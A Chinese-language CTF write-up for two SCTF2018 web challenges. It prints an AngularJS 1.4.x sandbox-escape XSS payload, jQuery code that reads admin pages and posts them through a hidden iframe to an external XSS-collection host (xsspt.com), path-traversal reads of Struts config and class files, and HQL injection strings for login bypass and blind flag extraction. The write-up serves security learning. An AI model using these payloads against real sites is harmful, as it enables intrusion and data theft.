SCTF2018 Web Writeup

栏目: Struts · 发布时间: 7年前

内容简介:看了一下页面内引用了AngularJS 1.4.6,然后找了一下对应版本的XSS漏洞,参考文章提交留言即可触发xss,管理员那边也会触发一遍。

0x01 新的建议板

看了一下页面内引用了AngularJS 1.4.6,然后找了一下对应版本的XSS漏洞,参考文章 XSS without HTML: Client-Side Template Injection with AngularJS

1.4.0 - 1.4.9

{{'a'.constructor.prototype.charAt=[].join;$eval('x=1} } };alert(1)//');}}

SCTF2018 Web Writeup

提交留言即可触发xss,管理员那边也会触发一遍。

这里留言似乎有点过滤,我用base64编码然后利用JQuery的$.getScript函数引用js文件

$.getScript('http://xsspt.com/xxxx');
编码之后
eval(atob('JC5nZXRTY3JpcHQoJ2h0dHA6Ly94c3NwdC5jb20veHh4eCcpOw=='));

{{'a'.constructor.prototype.charAt=[].join;$eval('x=1} } };eval(atob(\'JC5nZXRTY3JpcHQoJ2h0dHA6Ly94c3NwdC5jb20veHh4eCcpOw==\'));}}

提交留言然后就打到管理员了

SCTF2018 Web Writeup

然后发现后台并不在公网上, http://127.0.0.1:1002/admin/

构造payload开始读管理员后台

$.ajax({
    url: "/admin",
    type: "GET",
    dataType: "text",
    success: function(result) {
        var code = btoa(encodeURIComponent(result));
        xssPost('https://xsspt.com/index.php?do=api&id=xxxxxx', code);
    },
    error: function(msg) {

    }
})

function xssPost(url, postStr) {
    var de;
    de = document.body.appendChild(document.createElement('iframe'));
    de.src = 'about:blank';
    de.height = 1;
    de.width = 1;
    de.contentDocument.write('<form method="POST" action="' + url + '"><input name="code" value="' + postStr + '"/></form>');
    de.contentDocument.forms[0].submit();
    de.style.display = 'none';
}

在js脚本里写入读取后台页面的代码,提交留言,收到 /admin 页面的内容

SCTF2018 Web Writeup

在base64跟url解码之后,拿到 /admin 页面

SCTF2018 Web Writeup

我们可以看到有个文件管理页面,继续修改js访问 /admin/file

SCTF2018 Web Writeup

这里需要输入文件密码才能访问,我们接下来找一下文件密码

在一开始的首页里有个 min-test.js ,这里泄露了admin模板文件 view/admintest2313.html ,在这个模板中发现一个备忘录的接口

SCTF2018 Web Writeup

SCTF2018 Web Writeup

猜测这是在看 admintest2313 用户的备忘录,然后我们从获取到的后台页面中发现了 adminClound 这个用户名

SCTF2018 Web Writeup

拿到文件密码后,构造post包访问 /admin/file

$.ajax({
    url: "/admin/file",
    type: "POST",
    data: "filepasswd=HGf%5E%2639NsslUIf%5E23",
    dataType: "text",
    success: function(result) {
        var code = btoa(encodeURIComponent(result));
        xssPost('https://xsspt.com/index.php?do=api&id=xxxxxx', code);
    },
    error: function(msg) {

    }
})

然后直接就打到flag了

0x02 Zhuanxv

拿到题目先扫目录(emmm...),扫到 /list ,访问需要登录,然后抓到个请求 /loadimage?fileName=web_login_bg.jpg ,猜测这是个文件读取漏洞,然后再猜猜他是个 java 程序,构造路径读取 web.xml

SCTF2018 Web Writeup

发现是Struts2写的站点,读一下配置文件 ../../WEB-INF/classes/struts.xml

<?xml version="1.0" encoding="UTF-8"?>

<!DOCTYPE struts PUBLIC
        "-//Apache Software Foundation//DTD Struts Configuration 2.3//EN"
        "http://struts.apache.org/dtds/struts-2.3.dtd">
<struts>
    <constant name="strutsenableDynamicMethodInvocation" value="false"/>
    <constant name="struts.mapper.alwaysSelectFullNamespace" value="true" />
    <constant name="struts.action.extension" value=","/>
    <package name="front" namespace="/" extends="struts-default">
        <global-exception-mappings>
            <exception-mapping exception="java.lang.Exception" result="error"/>
        </global-exception-mappings>
        <action name="zhuanxvlogin" class="com.cuitctf.action.UserLoginAction" method="execute">
            <result name="error">/ctfpage/login.jsp</result>
            <result name="success">/ctfpage/welcome.jsp</result>
        </action>
        <action name="loadimage" class="com.cuitctf.action.DownloadAction">
            <result name="success" type="stream">
                <param name="contentType">image/jpeg</param>
                <param name="contentDisposition">attachment;filename="bg.jpg"</param>
                <param name="inputName">downloadFile</param>
            </result>
            <result name="suffix_error">/ctfpage/welcome.jsp</result>
        </action>
    </package>
    <package name="back" namespace="/" extends="struts-default">
        <interceptors>
            <interceptor name="oa" class="com.cuitctf.util.UserOAuth"/>
            <interceptor-stack name="userAuth">
                <interceptor-ref name="defaultStack" />
                <interceptor-ref name="oa" />
            </interceptor-stack>

        </interceptors>
        <action name="list" class="com.cuitctf.action.AdminAction" method="execute">
            <interceptor-ref name="userAuth">
                <param name="excludeMethods">
                    execute
                </param>
            </interceptor-ref>
            <result name="login_error">/ctfpage/login.jsp</result>
            <result name="list_error">/ctfpage/welcome.jsp</result>
            <result name="success">/ctfpage/welcome.jsp</result>
        </action>
    </package>
</struts>

根据上面的Action路径,构造读取class文件的路径 ../../WEB-INF/classes/com/cuitctf/action/UserLoginAction.class ,逐一把上面的class文件都下载一遍,然后再读一下 ../../WEB-INF/classes/applicationContext.xml

<?xml version="1.0" encoding="UTF-8"?>
<beans xmlns="http://www.springframework.org/schema/beans"
       xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
       xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
    <bean id="dataSource" class="org.springframework.jdbc.datasource.DriverManagerDataSource">
        <property name="driverClassName">
            <value>com.mysql.jdbc.Driver</value>
        </property>
        <property name="url">
            <value>jdbc:mysql://localhost:3306/sctf</value>
        </property>
        <property name="username" value="root"/>
        <property name="password" value="root" />
    </bean>
    <bean id="sessionFactory" class="org.springframework.orm.hibernate3.LocalSessionFactoryBean">
        <property name="dataSource">
            <ref bean="dataSource"/>
        </property>
        <property name="mappingLocations">
            <value>user.hbm.xml</value>
        </property>
        <property name="hibernateProperties">
            <props>
                <prop key="hibernate.dialect">org.hibernate.dialect.MySQLDialect</prop>
                <prop key="hibernate.show_sql">true</prop>
            </props>
        </property>
    </bean>
    <bean id="hibernateTemplate" class="org.springframework.orm.hibernate3.HibernateTemplate">
        <property name="sessionFactory">
            <ref bean="sessionFactory"/>
        </property>
    </bean>
    <bean id="transactionManager" class="org.springframework.orm.hibernate3.HibernateTransactionManager">
        <property name="sessionFactory">
            <ref bean="sessionFactory"/>
        </property>
    </bean>
    <bean id="service" class="org.springframework.transaction.interceptor.TransactionProxyFactoryBean" abstract="true">
        <property name="transactionManager">
            <ref bean="transactionManager"/>
        </property>
        <property name="transactionAttributes">
            <props>
                <prop key="add">PROPAGATION_REQUIRED</prop>
                <prop key="find*">PROPAGATION_REQUIRED,readOnly</prop>
            </props>
        </property>
    </bean>
    <bean id="userDAO" class="com.cuitctf.dao.impl.UserDaoImpl">
        <property name="hibernateTemplate">
            <ref bean="hibernateTemplate"/>
        </property>
    </bean>
    <bean id="userService" class="com.cuitctf.service.impl.UserServiceImpl">
        <property name="userDao">
            <ref bean="userDAO"/>
        </property>
    </bean>
</beans>

这里是用hibernate框架执行sql,读取一下 ../../WEB-INF/classes/user.hbm.xml

<?xml version="1.0"?>
<!DOCTYPE hibernate-mapping PUBLIC
        "-//Hibernate/Hibernate Mapping DTD 3.0//EN"
        "http://hibernate.sourceforge.net/hibernate-mapping-3.0.dtd">
<hibernate-mapping package="com.cuitctf.po">
    <class name="User" table="hlj_members">
        <id name="id" column="user_id">
            <generator class="identity"/>
        </id>
        <property name="name"/>
        <property name="password"/>
    </class>
    <class name="Flag" table="bc3fa8be0db46a3610db3ca0ec794c0b">
        <id name="flag" column="welcometoourctf">
            <generator class="identity"/>
        </id>
        <property name="flag"/>
    </class>
</hibernate-mapping>

看样子flag在数据库里。接下来继续下载 applicationContext.xml 文件中引用的dao层跟service层的class文件

这里整理出主要的代码片段

//UserLoginAction.class
public boolean userCheck(User user) {
    List < User > userList = this.userService.loginCheck(user.getName(), user.getPassword());
    if ((userList != null) && (userList.size() == 1)) {
        return true;
    }
    addActionError("Username or password is Wrong, please check!");
    return false;
}

//UserServiceImpl.class
public List <User> loginCheck(String name, String password) {
    name = name.replaceAll(" ", "");
    name = name.replaceAll("=", "");
    Matcher username_matcher = Pattern.compile("^[0-9a-zA-Z]+$").matcher(name);
    Matcher password_matcher = Pattern.compile("^[0-9a-zA-Z]+$").matcher(password);
    if (password_matcher.find()) {
        return this.userDao.loginCheck(name, password);
    }
    return null;
}

//UserDaoImpl.class
public List <User> loginCheck(String name, String password) {
    return getHibernateTemplate().find("from User where name ='" + name + "' and password = '" + password + "'");
}

UserServiceImpl.class 这里只检测了password的正则,name只替换了空格跟等号,正则没起作用,所以这里可以注入

在登录处 user.name 注入

user.name=1'or''like''or''like'&user.password=aaaa

这样子直接进入后台,但这不是我们的目标,我们要读取数据库里的flag。可以利用登录判断来进行盲注,获取数据

user.name=1'or(name)like'ho%25'or''like'&user.password=aaaa

然后就跑出用户名为homamamama,这不是重点,我们要读flag。由于这个是hql,很多 mysql 的特性没法用,只能根据hql的语法构建一个子查询。试了一下 (select name from User)like'%' 可以猜测读取到用户名,但是根据xml的数据表结构读取Flag表 (select flag from Flag)like'%' 却不行。

继续构造注入猜测, (select count(*) from Flag)like'1' 这个可以,说明Flag表里有一条数据。很多人都困在这一步了,读不到Flag表。这里要利用的是hql语句的子查询, (from Flag)like'%' 这样子就可以了,然后构造脚本开始跑Flag就可以了

user.name=1'or(from Flag)like'sctf{%25'or''like'&user.password=aaaa

最后获取到的flag要将花括号里的转成大写


以上就是本文的全部内容,希望本文的内容对大家的学习或者工作能带来一定的帮助,也希望大家多多支持 码农网

查看所有标签

猜你喜欢:

本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们

Agile Web Development with Rails 4

Agile Web Development with Rails 4

Sam Ruby、Dave Thomas、David Heinemeier Hansson / Pragmatic Bookshelf / 2013-10-11 / USD 43.95

Ruby on Rails helps you produce high-quality, beautiful-looking web applications quickly. You concentrate on creating the application, and Rails takes care of the details. Tens of thousands of deve......一起来看看 《Agile Web Development with Rails 4》 这本书的介绍吧!

SHA 加密
SHA 加密

SHA 加密工具

XML 在线格式化
XML 在线格式化

在线 XML 格式化压缩工具

HEX CMYK 转换工具
HEX CMYK 转换工具

HEX CMYK 互转工具